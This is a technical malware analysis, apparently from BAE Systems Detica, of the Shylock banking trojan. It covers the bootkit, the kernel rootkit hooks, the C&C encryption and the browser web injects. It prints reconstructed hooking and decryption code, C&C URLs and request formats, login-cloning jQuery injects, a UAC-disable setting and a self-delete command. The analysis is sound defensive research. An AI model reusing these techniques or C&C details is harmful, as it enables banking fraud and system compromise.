    MEM:9E12A jb short Int13Hook_ret ; quit if failed
    MEM:9E12C pushf
    MEM:9E12D cli
    MEM:9E12E push es
    MEM:9E12F pusha
    MEM:9E130 [mov ah, ??] opcode - operand is patched at MEM:9E11E
    MEM:9E131 INT13LASTFUNCTION:
    MEM:9E131 [mov ah, ??] operand, 0 by default
    MEM:9E132 cmp ah, 42h ; 'B' ; IBM/MS INT 13 Extensions - EXTENDED READ
    MEM:9E135 jnz short Int13Hook_notextread
    MEM:9E137 lodsw
    MEM:9E138 lodsw
    MEM:9E139 les bx, [si]
    MEM:9E13B assume es:nothing

    The handler then scans and patches the code of OSLOADER module (part of NTLDR) - the patched code is invoked during the system partition reading during Windows start-up. OSLOADER is executed in protected mode, and by patching it, Shylock will force it to execute the payload loader code in protected mode as well.

    To patch it in the right place, the scanner is looking for bytes F0 85 F6 74 21 80, as shown below:

    MEM:9E149 Int13Hook_scan_loop:
    MEM:9E149 repne scasb
    MEM:9E14B jnz short Int13Hook_scan_done
    MEM:9E14D cmp dword ptr es:[di], 74F685F0h ; F0 85 F6 74
    MEM:9E155 jnz short Int13Hook_scan_loop
    MEM:9E157 cmp word ptr es:[di+4], 8021h ; 21 80
    MEM:9E15D jnz short Int13Hook_scan_loop

    These bytes correspond to the following code of the original loader:


    .text:00422A6A E8 C2 12 00 00 call near ptr unk_47DE1
    .text:00422A6F 8B F0 mov esi, eax
    .text:00422A71 85 F6 test esi, esi
    .text:00422A73 74 21 jz short loc_46B46
    .text:00422A75 80 3D F8 AE 43 00 00 cmp byte_43AEF8, 0

    Once these bytes are found within OSLOADER, the kernel patch from the sector #58 is applied to the loader, by directly overwriting its bytes:



    The patched loader code may now look like this (compare to the original loader code above):

    .text:00422A6A E8 C2 12 00 00         call    near ptr unk_47DE1
    .text:00422A6F B8 33 E2 09 00 mov eax, offset off_9E233
    .text:00422A74 FF D0 call eax ; off_9E233
    .text:00422A76 90 nop
    .text:00422A77 90 nop
    .text:00422A78 90 nop
    .text:00422A79 90 nop
    .text:00422A7A 90 nop
    .text:00422A7B 90 nop
    .text:00422A7C 90 nop
    .....

    The address off_9E233 points to the code loaded from the sectors #58-#61, and corresponds to the Kernel Patcher shellcode. Once it gets control within OSLOADER, it is executed in protected mode and starts invoking the consequent stages of the bootkit execution that lead to the eventual driver installation.

    Main Shylock Module

    Main Shylock module is an executable that injects its code into other processes, communicates with C&C and fetches configuration files and plug-ins, fully monitors browsers Internet Explorer and Firefox, and provides full backdoor access to the compromised system. It is the remote configuration files that define its logic, such as what online banking sessions to intercept and how.

    Shylock is a VM-aware threat: its anti-sandboxing code enumerates all the drivers installed on a compromised system, and for every driver it calculates a hash of its name; if the returned name hash is black-listed, Shylock will exit.

    For example, on a snapshot below, Shylock returns a hash of 0x2FE483F3 for an enumerated driver vmscsi.sys (part of VMWare). The code explicitly checks the hash against a hard-coded value of 0x2FE483F3, and in case of a match, it quits.



    In order to complicate code analysis and emulation, Shylock always calls APIs by their hashes. For instance, GetCommandLineA() is called with a stand-alone stub with a hard-coded API hash of 0xC66A1D2E:



    The API hash calculation algorithm is trivial:

    DWORD GetHash(char *szApi)
    {
    DWORD dwHash = 0;
    for (DWORD i = 0; i < strlen(szApi); i++)
    {
    BYTE b = szApi[i];
    dwHash ^= b;
    __asm
    {
    ror dwHash, 3
    }
    if (b == 0)
    {
    break;
    }
    }
    return dwHash;
    }

    Shylock spawns separate threads for different plugins. For example, it injects BackSocks server DLL into svchost.exe and starts a remote thread in it.

    The trojan checks the host process name, and depending on the name, it installs different user-mode hooks for the process.

    If the host process is FireFox browser (FIREFOX.EXE), it will load nss3.dll and nspr4.dll. Next, it will place these hooks:

    nspr4.dll:
    • PR_Read

    • PR_Write

    • PR_Close

    nss3.dll:
    • CERT_VerifyCertName

    • CERT_VerifyCertNow

    If the host process Internet Explorer (IEXPLORE.EXE), it will load mshtml.dll and then place following hooks:

    ws2_32.dll:
    • send

    wininet.dll:
    • HttpOpenRequestA/W

    • HttpSendRequestA/W

    • HttpSendRequestExA/W

    • InternetReadFile

    • InternetReadFileExA/W

    • InternetCloseHandle

    • InternetQueryDataAvailable

    • InternetSetStatusCallback

    In case the host process is Windows Explorer (EXPLORER.EXE) or system processes USERINIT.EXE or RUNDLL32.EXE, then it will hook:

    ntdll.dll:
    • NtCreateThread/ZwCreateThread

    • NtCreateUserProcess/ZwCreateUserProcess

    • NtEnumerateValueKey/ZwEnumerateValueKey

    • NtQueryDirectoryFile/ZwQueryDirectoryFile

    user32.dll:
    • ExitWindowsEx

    • GetMessageW

    kernel32.dll:
    • HeapDestroy

    advapi32.dll:
    • InitiateSystemShutdownExW

    The purpose of the hooks above is to inject into newly launched processes and to hide its file/registry entries. If the user shuts down Windows, the hook handler will attempt to recreate the files and the start-up registry entries, in order to persist even the user has partially deleted this threat.

    Once activated, Shylock deletes all Firefox cookies. Next, it searches for and overwrites user.js files found in %APPDATA%\Mozilla\Firefox\Profiles directory, thus manipulating the following security settings of the Firefox browser:

    security.enable_tls = false
    network.http.accept-encoding = ""
    secnetwork.http.accept-encodingurity.warn_viewing_mixed = false
    security.warn_viewing_mixed.show_once = false
    security.warn_submit_insecure = false
    security.warn_submit_insecure.show_once = false


    For example, whenever insecure form information is submitted, the "Security Warning" dialogue will not be displayed by Firefox - this will allow Shylock to have no objections from the browser when it tries to work with fake/redirected sites.

    It can also delete and upload Flash Player cookies (Local Shared Object - SOL files) stored in %APPDATA%\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys directory. Flash cookies are persistent to traditional cookies removal by the end user, as they are not controlled through the cookie privacy controls in a browser.

    Internally, Shylock distinguishes itself running in one of 3 modes:
    • master

    • slave

    • plugin

    The 'master' is responsible for communication with the remote server, namely sending 'beacon' signals to the server, posting detailed computer information, reports/files, posting error logs, and polling the remote C&C server for configuration files on injection/redirection and other execution parameters. The 'master' may spawn a thread that will record the video of everything that occurs on the screen, and then upload the video to the remote server. In order to 'talk' to the 'slaves' and 'plugins', that are injected into other running processes, the 'master' uses Interprocess Communication Mechanism (IPC) via a named memory pipe that allows sharing data across all Shylock components running within the different processes.

    Shylock executable has a dedicated configuration stub in its image that is similar to ZeuS. For example, the C&C URLs and injections configuration file name are hard-coded in that stub as:
    • https://wguards.cc/ping.html

    • https://hiprotections.su/ping.html

    • https://iprotections.su/ping.html

    • /files/hidden7770777.jpg

    The usage of a stub suggests that Shylock executable is most likely compiled once with an empty stub, and then is dynamically 'patched' by a builder to embed different C&C URLs in it, with the string encryption routine being part of the builder.

    One of the configuration stub fields contains a timestamp of the date and time when the executable was generated. Shylock makes an attempt to avoid execution if current time is past the compilation time by more than 2 hours. But either due to a bug or a 'feature', the 2-hour time span ignores months, so it will run on a same day of every month of the same year, but only within the 2-hour 'window'. If Shylock is executed outside that window, it will quit. The 2-hour span means that Shylock allows only 'fresh' installations/executions of itself, when the C&C embedded into executable are live, or otherwise, it is risking to be exposed by constantly pinging non-existent (or taken down) domains, ringing all the bells within intrusion/anomaly detection systems.

    All strings are encrypted with a random key that is stored together with an encrypted string. The key is saved into 4 bytes, is followed by 4 zero-bytes, and then followed with the encrypted data. The code decrypts the strings on-the-fly: first, it makes an integrity check by applying the key to the encrypted data and making sure the original string has at least 2 characters in it. Next, it decrypts the string itself.

    The reconstructed string checker and decryptor would look like:

    int iGetEncodedStringLen(DWORD dwKey, char *szString)
    {
    int iResult;
    int iCount;

    if (szString)
    {
    iCount = 0;
    if ((BYTE)dwKey ^ *(LPBYTE)szString)
    {
    do
    {
    ++iCount;
    dwKey = (845 * dwKey + 577) % 0xFFFFFFFF;
    }
    while ((BYTE)dwKey != *(LPBYTE)(iCount + szString));
    }
    iResult = iCount;
    }
    else
    {
    iResult = 0;
    }
    return iResult;
    }

    void DecodeString(void *szEncrypted, unsigned int dwKey, int iFlag)
    {
    char b1;
    char b2;
    bool bEndOfString;

    if (szEncrypted)
    {
    while (1)
    {
    b1 = *(LPBYTE)szEncrypted;
    b2 = dwKey ^ *(LPBYTE)szEncrypted;
    *(LPBYTE)szEncrypted = b2;
    if (iFlag == 1)
    {
    bEndOfString = b2 == 0;
    }
    else
    {
    if (iFlag)
    {
    goto skip_check;
    }
    bEndOfString = b1 == 0;
    }
    if (bEndOfString)
    {
    return;
    }
    skip_check:
    szEncrypted = (char *)szEncrypted + 1;
    dwKey = (845 * dwKey + 577) % 0xFFFFFFFF;
    }
    }
    }

    so that the encrypted C&C URL below:


    char szTest[] = "\xE7\xEB\xBB\x91" // key
    "\x00\x00\x00\x00" // 4 zeroes
    "\x8F\xC8\xB9\x9A\xD0\x72\xC6\x79\x68\xF3"
    "\xB0\xE3\x29\xC4\x12\x40\x34\x0F\x92\x6A"
    "\x7A\x96\xBE\xA8\xE7\x30\xD8\xDE\xCB";

    can now be decrypted as:

    if (iGetEncodedStringLen(*(DWORD*)szTest, szTest + 8) > 0)
    {
    DecodeString(szTest + 8, *(DWORD*)szTest, 1);
    MessageBoxA(NULL, szTest + 8, NULL, MB_OK);
    }



    A stand-alone tool that relies on such decryptor allows decrypting and patching all 751 strings within the Shylock executable to further facilitate its static analysis.

    When Shylock communicates with the remote C&C server, it relies on HTTPS. Apart from that, the transferred data is encrypted with RC4 algorithm. Shylock takes one of C&C server URLs stored in its configuration stub, and prepends it with a random string, delimited with a dot. For example, wguards.cc becomes ei0nciwerq7q8.wguards.cc.

    The modified domain name will successfully resolve and will be used for communications. The same domain name will then be used to form an encryption key - Shylock appends a hard-coded string 'ca5f2abe' to the modified domain name, and then uses that string as a seed to generate a 256-byte RC4 key. The new RC4 key is then used to encrypt the transferred data. Once encrypted, the data is base-64 encoded, URL-escaped, and passed as a request to the C&C server within a z= URL parameter in it, e.g.:

    http://ei0nciwerq7q8.wguards.cc/ping.html?z=[encrypted_data]

    where [encrypted_data] is a result of:

    url_escape(base64_encode(RC_encrypt(url_escape(text_log), "ei0nciwerq7q8.wguards.ccca5f2abe")))

    The C&C server thus reads z= parameter contents, url-unescapes it, base64-decodes it, then RC4-decrypts it by using the server's own name with 'ca5f2abe' string appended and used as a password, then url-unescapes the resulting data which is a plain text.

    By taking the source code of the functions rc4_init() and rc4_crypt(), published earlier in this post, and then calling them with the modified domain name used as RC4 'password', Shylock traffic can now be fully decrypted, as demonstrated below:



    As seen on a picture, the posted 'cmpinfo' data is accompanied with a control sum and a hash to ensure data integrity ('key' and 'id'), it shows an installation mode ('master'), botnet name ('net2'), command name ('log'). The data includes system snapshot log that enlists running processes, installed applications, programs registered to run at startup, HDD/CPU system info, and many other details about the compromised OS. Shylock also recognises and reports all major antivirus/firewall products by querying a long list of process names and registry entries.

    The executable drops its own copy as a temp file, registers itself in a start-up registry key, then injects into svchost.exe and explorer.exe and runs a self-termination batch script, thus quitting its 'installation' phase of running.

    When Shylock requests configuration data from the server, it uses a 'cmd' (command) parameter set to 'cfg' (configuration).

    Let's manually construct a request 'net=net2&cmd=cfg', then feed it to the debugged code to calculate the 'key' and 'id' parameters for us. The resulting request will be:

    key=a323e7d52d&id=47E8ABF258AB82ECEF14F79B37177391&inst=master&net=net2&cmd=cfg

    The C&C we'll use will be https://y85rqmnuemzxu5z.iprotections.su/ping.html, so let's encrypt it with the RC4 key of 'y85rqmnuemzxu5z.iprotections.suca5f2abe', and then base64-encode it. The server will reply with the base64-encoded text to such request, transferred via HTTPS:



    Once this response is base64-decoded, it needs to be decrypted. The key used to encrypt this data is not the same as before. It is an 'id' value that was passed inside the request to the server, i.e. '47E8ABF258AB82ECEF14F79B37177391' in our example above. By using this value as RC4 'password', the server response can now be decrypted with the same tool as before. The decrypted file turns out to be an XML file with the configuration parameters in it:
    <hijackcfg>      <botnet name="net2"/>      <timer_cfg success="1200" fail="1200"/>      <timer_log success="600" fail="600"/>      <timer_ping success="1200" fail="1200"/>      <urls_server>            <url_server url="https://protections.cc/ping.html"/>            <url_server url="https://eprotections.su/ping.html"/>            <url_server url="https://iprotections.su/ping.html"/>      </urls_server>      ... and so onThe XML enlists other plugin URLs, backconnect server IP and port number used by the reverse SOCKS proxy server connection for live VNC sessions, URL of the latest Shylock executable for an update. All the most important plugins contained in the configuration file were already explained before. The C&C list is refreshed with the new servers. The last remaining bit here is an 'httpinject' parameter specified as:
    <httpinject value="on" url="/files/hidden7770777.jpg" md5="c2ffb650839873a332125e7823d36f9e"/>
    It's the same name as the one specified in the executable stub along with 3 other C&C URLs, only now it's clear this file contains browser injection/redirection logic. So let's fetch this file by directly downloading it from C&C as a static file.

    The downloaded file is compressed with zlib v1.2.3; once decompressed, it shows all web inject logic employed by Shylock.

    Web Injects

    The web injects of Shylock work by intercepting online banking sessions and injecting extra HTML data. Analysis of the configuration data suggests that Shylock attacks mostly UK banks.

    There are several types of data that Shylock replaces on a web page. In one type, Shylock replaces the phone numbers provided at the bank's site. In the example below, the trojan modifies the bank's complaint form - an inset shows what the original form is replaced with:



    In other cases, the web pages themselves are not modified - only the enlisted phone numbers are replaced.

    Calling the replacement phone number leads to the following auto-reply message (actual audio recording):

    Auto Reply Message

    The injection of the phone numbers into the web sites are most likely designed to prevent resolution scenarios when customers receive a phishing email, or get concerned about the stolen funds or compromised accounts. In case of a security breach, the natural thing to do for many is to open the bank's website and look up the telephone numbers to call the bank and cancel the credit card, or lock other accounts. By accessing the bank site through the same compromised system, the issues that need to be addressed as quick as possible, might not be addressed when the time is critical.

    Apart from the phone number replacements, online banking login forms are simply blocked from being displayed by settings their CSS style into:
    style="display:none;"
    In another scenario, the web inject contains JQuery script that detects the login form on a page, then clones it with JQuery's .clone() command:
    var ombtrwcf756gsw = frm.clone(false).insertAfter(frm).show().attr('id', 'log-on-form');
    The screenshot below shows the result of such cloning:



    The original login form is then hidden from the user:
    jQuery(this).hide();
    Once the user fills out the cloned form with the login details and then presses its Login button, the entered details will populate the original form, that will then be submitted by clicking the original Login button, in order to allow the user to log on successfully:
    jQuery('#usr_name').val(lvltxt.qqqrcs06tl9npo);
    jQuery('#usr_password').val(lvltxt.pwd);
    jQuery('.login-button:first').find('div').click();
    At the same time, the fields of the cloned form will be posted to the attacker's server (cross-domain) in the background (with XDomainRequest()).

    The injects that collect personal information use tricky social engineering tactics, referring to existing malware as a leverage to build trust to the compromised session:

    Attention! Due recent new strains of malicious software such as Zeus and Spy Eye that have been targeting users of US Internet Banking website, we are forced to perform additional security checks on your computer.
    We are now checking your system to make sure that your connection is secure. It allows us to ensure that your system is not infected.
    Checking your settings frequently, allows you to keep your data intact. Keeping your Anti-Virus programs up to date is strongly recommended.
    This process undergoes an additional layer of protection, identifying you as the authorised account user. Interrupting the test may lead to a delay in accessing your account online.
    Checking browser settings...0%
    Checking log files...
    Checking encryption settings...


    Another example:

    A critical error has occurred. We could not recognize Your internet browser's security settings. This could be because You are using different web browser or different PC.
    In order to confirm Your identify, we will send you a text message with one time password.
    Below is the contact information we have on record for you that is eligible for the security check. If you have recently changed your contact information it may not be displayed.
    Note: For security reasons, we have hidden parts of your contact information below with "xxx"


    The injected scripts are relying on a powerful and modern script engine JQuery that allows Shylock to manipulate online banking sessions the way it needs to. The harvested credit card numbers are even queried against the remote attacker's site to undergo a validation. The scripts it injects rely on other scripts, dynamically downloaded from the malicious websites. That allows the attacker to manipulate Shylock logic by updating those scripts, without even touching the command-and-control servers.

    Conclusion

    What makes Shylock dangerous is that it's a classic 'Blended Threat' by definition: a combination of best-of-breed malware techniques that evolved over time:
    • Disk spreader, Skype spreader

    • Kernel-mode rootkit, Bootkit

    • VNC with Back-connect Proxy server

    • FTP credentials stealer

    • Banking Trojan

    Its technology is out there, 'in the wild', all it takes now is to change the inject scripts to start targeting any other bank in the world. As it already happened before with ZeuS, it is now a matter of time before it starts targeting other banks' customers.

  • Pray Before You Buy With Shylock

    Bae Systems Detica

    "I will buy with you, sell with you, talk with you, walk with you, and so following;   
    but I will not eat with you, drink with you, nor pray with you"    


    Shylock, 1.3.37   
    The Merchant of Venice, Shakespeare, 1564    


    Shylock-The-Trojan will indeed talk to you via Skype; walk with you while you browse Internet or while you buy or sell online. Ironically, this Man-in-the-browser (MitB) trojan considers the homeland of Shakespeare its target #1.

    Being a banking trojan that targets multiple banking institutions, it employs a plug-in architecture that allows complementing the main 'framework' with additional functionality. Shylock plug-ins are DLLs with the exports:
    • Destroy()

    • Init()

    • Start()

    This description enlists main Shylock's components, one-by-one.

    Driver

    Shylock driver is a kernel-mode rootkit that is designed to hide files, processes, registry entries, and traffic that is associated with Shylock. In addition to that, it also switches off Windows UAC by resetting the value:

    EnableLUA = 0x00000000
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System


    With UAC disabled, Windows Vista/7/8 will no longer prompt for consent or for credentials for a valid administrator account before launching a Shylock executable, allowing it to start silently.

    If the Windows version is Vista, 7, or 8, it will obtain "NSI proxy" driver and then it will hook its IRP_MJ_DEVICE_CONTROL dispatch routine. On a pre-Vista Windows OS, it will also hook IRP_MJ_DEVICE_CONTROL dispatch routine within TCP driver.

    The reason why Shylock hooks "NSI proxy" driver is to hide itself from netstat - a tool that is often used by technically savvy users to check for active connections that are present on a compromised PC: to inspect any open ports and to see what executables are holding any active connections. In those scenarios where Shylock engages its user-mode VNC component, the remote attacker will have full remote access to the compromised system: its graphical desktop will be fully relayed to the attacker, along with the keyboard and mouse events. The generated VNC traffic is thus relatively 'heavy' and so, there is a high chance it will eventually draw attention from the end user (e.g. the user might keep wondering why the modem LEDs are blinking so wildly). In that case, the netstat tool becomes one of the first tools to be run to see what's going with a system, and Shylock doesn't like that.

    In order to hide itself from netstat process, Shylock hooks the "NSI proxy" driver as it knows that user-mode netstat calls are marshalled into the kernel and are eventually handled by this driver. The hook it installs is known as IRP-hook. The hook handler it places will monitor enumerated connections, and whenever it locates a TCP connection that involves any particular port number that it needs to hide (e.g. responsible for VNC traffic), it will remove such TCP connection entry from the enumerated list. The removal of element N from the list is made by rewriting its contents with the contents of the element N+1, and then decrementing the total number of list elements by 1. As a result, the list of enumerated connections that is returned by netstat will never contain any active connections that are held by Shylock's user-mode components.

    Here is the reconstructed logic of the hooker:

    if (MajorVersion < 6) // if pre-Vista, hook Tcp driver; otherwise, skip this step
    {
    RtlInitUnicodeString(&uniTcpDevice, L"\\Device\\Tcp");
    status = IoGetDeviceObjectPointer(&uniTcpDevice,
    1u,
    &FileObject,
    &DeviceObject); // return device object
    status2 = status;
    if (status >= 0) // if status is OK
    {
    driverTcpDevice = (int)DeviceObject->DriverObject; // get driver object
    IRP_MJ_DEVICE_CONTROL = driverTcpDevice + 0x70; // +0x70 is explained below
    fn_IRP_MJ_DEVICE_CONTROL = *(DWORD *)(driverTcpDevice + 0x70);
    if (fn_IRP_MJ_DEVICE_CONTROL) // if the returned dispatch routine is Ok
    {
    hook_IRP_MJ_DEVICE_CONTROL = get_hook_IRP_MJ_DEVICE_CONTROL_tcp;

    replace_original_IRP: // swap original pointer with the hook

    _InterlockedExchange((signed __int32 *)IRP_MJ_DEVICE_CONTROL,
    hook_IRP_MJ_DEVICE_CONTROL);
    return 0;
    }
    return 0;
    }
    exit:
    ms_exc.disabled = -1;
    return status;
    }

    RtlInitUnicodeString((PUNICODE_STRING)&uniNsiDrvName, L"\\Driver\\nsiproxy");
    status = ObReferenceObjectByName(&uniNsiDrvName,
    64,
    0,
    0,
    IoDriverObjectType,
    0,
    0,
    &pNsiDrvObj); // get driver object
    status2 = status;
    if (status < 0)
    {
    goto exit;
    }

    IRP_MJ_DEVICE_CONTROL = pNsiDrvObj + 0x70; // 0x70 means
    // MajorFunction[IRP_MJ_DEVICE_CONTROL]

    fn_IRP_MJ_DEVICE_CONTROL_2 = *(int (__stdcall **)(DWORD, DWORD))(pNsiDrvObj + 0x70);

    if (fn_IRP_MJ_DEVICE_CONTROL_2) // if the returned dispatch routine is Ok
    {
    hook_IRP_MJ_DEVICE_CONTROL = get_hook_IRP_MJ_DEVICE_CONTROL_nsiproxy;
    goto replace_original_IRP; // get the hooked DeviceIoControl,
    // and swap it with the original one
    }

    The +0x70 offset in the listing above is referencing MajorFunction[IRP_MJ_DEVICE_CONTROL] within the driver object.

    Here is why:
    the driver object structure is declared as:

    #define IRP_MJ_MAXIMUM_FUNCTION         0x1b
    ..
    typedef struct _DRIVER_OBJECT {
    /* 2 */ CSHORT Type; // offset = 0x00
    /* 2 */ CSHORT Size; // offset = 0x02
    /* 4 */ PDEVICE_OBJECT DeviceObject; // offset = 0x04
    /* 4 */ ULONG Flags; // offset = 0x08
    /* 4 */ PVOID DriverStart; // offset = 0x0c
    /* 4 */ ULONG DriverSize; // offset = 0x10
    /* 4 */ PVOID DriverSection; // offset = 0x14
    /* 4 */ PDRIVER_EXTENSION DriverExtension; // offset = 0x18
    /* 4 */ UNICODE_STRING DriverName; // offset = 0x1c
    /* 8 */ PUNICODE_STRING HardwareDatabase; // offset = 0x24
    /* 4 */ PFAST_IO_DISPATCH FastIoDispatch; // offset = 0x28
    /* 4 */ PDRIVER_INITIALIZE DriverInit; // offset = 0x2c
    /* 4 */ PDRIVER_STARTIO DriverStartIo; // offset = 0x30
    /* 4 */ PDRIVER_UNLOAD DriverUnload; // offset = 0x34
    /* 4 */ PDRIVER_DISPATCH
    MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; // offset = 0x38
    } DRIVER_OBJECT;

    Its MajorFunction list contains IRP_MJ_MAXIMUM_FUNCTION + 1 = 0x1c elements, and its offset in the structure is 0x38. To find out what dispatch routine is references by the offset 0x70, the offset 0x70 needs to be subtracted with 0x38 (list's offset within the structure), and divided by 4 (size of each pointer within the list):

    (0x70 - 0x38) / 4 = 0x0e

    The 15th (0x0e) element of the dispatch routines is declared as:

    #define IRP_MJ_DEVICE_CONTROL 0x0e

    Knowing that, the source code of the Shylock driver can be reconstructed into a meaningful format, that can now be searched online to see where the Shylock authors may have stolen that code from. Why stolen? Given the complexity of this code on one hand, and the ROI (return-on-investment) principle on the other, malware products like Shylock often result from integration of the solutions that are already available on the 'market'. In the end of the day, it's much easier for them to find a code snippet online, and then plug into the malware.

    Shylock driver is not exclusion - here is the snippet of code that they have 'borrowed'. By having access to the same source, we can compile and debug the very same code, only now having the privilege of stepping through the code with the help of a tool VisualDDK, and seeing exactly how Shylock driver places its hooks and how those hooks affect netstat.

    Below is a screenshot of the driver code in action. At the breakpoint seen below, the code is replacing the N-th TCP entry with the TCP entry N+1 (TcpEntry[i] <- data-blogger-escaped-code="">TcpEntry[i+1]):



    The local entry's port number in our example is 139 (or 0x8B00 after applying htons() to it). As a result, any connections that involve port 139 disappear from the netstat output:



    Apart from the IRP hooks placed by Shylock driver onto IRP_MJ_DEVICE_CONTROL dispatch routines of Tcp and Nsi Proxy drivers, it also hooks System Service Descriptor Table (SSDT). The functions it hooks are:
    • ZwEnumerateKey

    • ZwEnumerateValueKey

    • ZwQuerySystemInformation

    • ZwQueryDirectoryFile

    • ZwAllocateVirtualMemory

    The KeServiceDescriptorTable patching is surrounded with a conventional cli/sti blocks: the cli-block disables interrupts and removes the write protection, the sti-block restores everything back:

    .text:000130AC   cli                     ; disable interrupts
    .text:000130AD mov eax, cr0 ; get CR0
    .text:000130B0 and eax, 0FFFEFFFFh ; reset Write Protect flag, when clear,
    ; allows supervisor-level procedures
    ; to write into read-only pages
    .text:000130B5 mov cr0, eax ; save it back into CR0

    .text:000130B8 mov eax, KeServiceDescriptorTable
    .text:000130BD mov eax, [eax]
    .text:000130BF mov dword ptr [ecx+eax], offset hook_ZwEnumerateKey
    .text:000130C6 mov eax, KeServiceDescriptorTable
    .text:000130CB mov eax, [eax]
    .text:000130CD mov ecx, [ebp+var_14]
    .text:000130D0 mov dword ptr [edx+eax], offset hook_ZwEnumerateValueKey
    .text:000130D7 mov eax, KeServiceDescriptorTable
    .text:000130DC mov eax, [eax]
    .text:000130DE mov dword ptr [esi+eax], offset hook_ZwQuerySystemInformation
    .text:000130E5 mov eax, KeServiceDescriptorTable
    .text:000130EA mov eax, [eax]
    .text:000130EC mov dword ptr [ecx+eax], offset hook_ZwQueryDirectoryFile

    .text:000130F3 mov eax, cr0 ; get CR0 (with the cleared WP flag)
    .text:000130F6 or eax, offset _10000H ; set Write Protect flag to prevent
    ; writing into read-only pages;
    .text:000130FB mov cr0, eax ; save it back into CR0
    .text:000130FE sti ; allow interrupts

    The hook_ZwQuerySystemInformation is handling those ZwQuerySystemInformation() calls that query for SystemProcessInformation type of system information, and is basically a rip-off of Greg Hoglund's process hider.

    Skype Replicator

    The Skype replicator component of Shylock relies on Skype Control API that uses window messages for communication with Skype.

    First, it broadcasts SkypeControlAPIDiscover message to find the Skype window handle. If Skype is running, it will respond with SkypeControlAPIAttach message.

    Next, Shylock starts controlling Skype via Control API by sending it window messages. When Skype handles the communication request coming from Shylock, it asks the user if the application in question should be allowed access to Skype or not. Shylock locates the window within Skype application that contains 2 horizontal buttons - first button is Allow, second is Deny. Next, it will start sending clicks to this window, aiming coordinates in a loop from left to right, top to bottom - this will eventually click the Allow button as it's located left to Deny button:



    Once Shylocks tricks Skype into accepting it as a client, it starts sending out messages to the contacts found in Skype. Any messages that Skype sends are stored in Skype's main.db file, which is a standard SQLite database. Shylock accesses this database and deletes its messages and file transfers so that the user could not find them in the history.

    Shylock also tries to switch off sound alert settings within Skype by sending 'clicks' to its option window so that all the communications it initiates are carried out silently, without drawing any attention from the end user.

    The Skype component of Shylock communicates with the remote server by submitting it installation details of Skype and fetching the configuration data for its own functionality.

    BackSocks

    BackSocks component of Shylock is a fully functional reverse (backconnect) SOCKS proxy server that is based on the source code of a legitimate proxy server 3Proxy, developed by 3APA3A ('zaraza', or 'contagion").

    The SOCKS proxy allows the external attackers to tunnel their traffic through the compromised PC into internal (corporate) network. The connection with the proxy server is not established in a classic way where a backdoor trojan opens up a port and accepts incoming connections from the remote attacker - these schemes no longer work due to the wide adoption of NAT/firewalls. Instead, the SOCKS proxy initiates the reverse connection to the remote server (back-connects to it), and once that connection is established, the proxy server starts tunneling the traffic into internal network, as if the external attacker was physically located within the internal network.

    By having access to the internal network through the SOCKS proxy, Shylock may access internal resources such as mail server, source control server, domain controllers etc.



    Ability to hide from netstat any TCP connections held by the proxy with the remote attacker allows avoiding early detection of anomalies by network administrators.

    Bootkit

    In order to install the driver, Shylock engages a bootkit module that relies on an infection of the Master Boot Record (MBR). The bootkit module is a PE-executable that is protected with a run-time packer.

    When run, the bootkit executable first checks if the following files can be open, and if not (e.g. these files do not exist), it continues:
    • C:\GRLDR

    • C:\XELDZ

    The bootkit can be started from the following start-up registry entry:

    FlashPlayerUpdate = %PATH_TO_BOOTKIT%
    HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce


    Next, it enumerates first 8 physical drives (#0 - #7) connected to the local computer, starting from the driver #0:
    \\.\PhysicalDrive0

    For every drive, it invokes the MBR infection routine. The routine starts from reading the drive geometry parameters with DeviceIoControl(IOCTL_DISK_GET_DRIVE_GEOMETRY).

    Next, it reads the first 512 bytes from the sector #0 (MBR), and then checks if its last 2 bytes are 55AA - a signature that identifies a bootable drive.

    If the drive is not bootable, it is skipped:

    .text:004024E9   xor     ebx, ebx        ; EBX is 0
    ...
    .text:0040255E push ebx ; dwMoveMethod = 0
    .text:0040255F push ebx ; lpDistanceToMoveHigh = 0
    .text:00402560 push ebx ; lDistanceToMove = 0
    .text:00402561 push edi ; hFile
    .text:00402562 call ds:SetFilePointer ; set pointer at offset 0
    .text:00402568 push ebx ; lpOverlapped
    .text:00402569 lea eax, [ebp+NumberOfBytesRead]
    .text:0040256C push eax ; lpNumberOfBytesRead
    .text:0040256D push 512 ; nNumberOfBytesToRead
    .text:00402572 lea eax, [ebp+Buffer]
    .text:00402578 push eax ; lpBuffer
    .text:00402579 push edi ; hFile
    .text:0040257A call ds:ReadFile ; read 512 bytes
    .text:00402580 call esi ; GetLastError
    .text:00402582 test eax, eax
    .text:00402584 jnz next_drive ; if error, skip it
    .text:0040258A mov eax, 0AA55h ; compare last 2 bytes
    .text:0040258F cmp [ebp+_510], ax ; (512-2) with 55AA-signature
    .text:00402596 jnz short close_handle_next_drive

    If the drive is bootable, the bootkit will encrypt the original MBR copy with a random XOR key, and then, it will save the encrypted MBR copy into the sector #57.

    The bootkit stores its components in the 4 sectors: #58, #59, #60, #61, and also a number of sectors closer to the end of the physical drive (at a distance of around 17K-18K sectors before the end).

    Once it writes all the sectors, it tries to delete itself by running the following command with the command line interpreter:
    /c ping -n 2 127.0.0.1 & del /q "%PATH_TO_BOOTKIT%" >> nul

    The ping-command with -n switch is used here as a method for the command line interpreter to wait for 2 seconds before it attempts to delete the bootkit executable.

    Master Boot Record (MBR)

    The MBR is infected with a code that is similar to other bootkits such as Mebroot or eEye BootRoot.

    MBR code performs the following actions:

    First, it reads 4 sectors: #58, #59, #60, #61 into the memory at 0x7E00 that immediately follows the MBR code loaded at address 0x7c00. Next, it allocates a new area of memory and reads there 5 sectors (512 bytes each, 2,560 bytes in total) starting from the loaded MBR code, and following with the 4 sectors that it just read. It then passes control into the code copied into the newly allocated area.

    The new memory area has address 0x9E000, that is formed as segment register * 16 + offset of 0:
    0x9E00 << 4 + 0 = 0x9E000.

    Next, the code locates the XOR key that is stored at the offset 0x5c. The key is random, and it's implanted by the bootkit. The infected MBR code will then read the contents of the sector #57 into MBR, and use the same XOR key to decrypt it, thus fully restoring the original MBR in the sector #0.

    Still running in the newly allocated area, the code will then restore remaining bytes from its own offset 0x10D till 0x18F, by applying the same XOR key. Once restored, these bytes turn out to be a hook handler code for the interrupt (INT) #13h - this interrupt is used to read sectors.

    Once the INT 13h hook handler is decoded, the original INT 13h vector is replaced with the vector of the decoded one, and after that, the code jumps back into the original, fully restored MBR in sector 0:

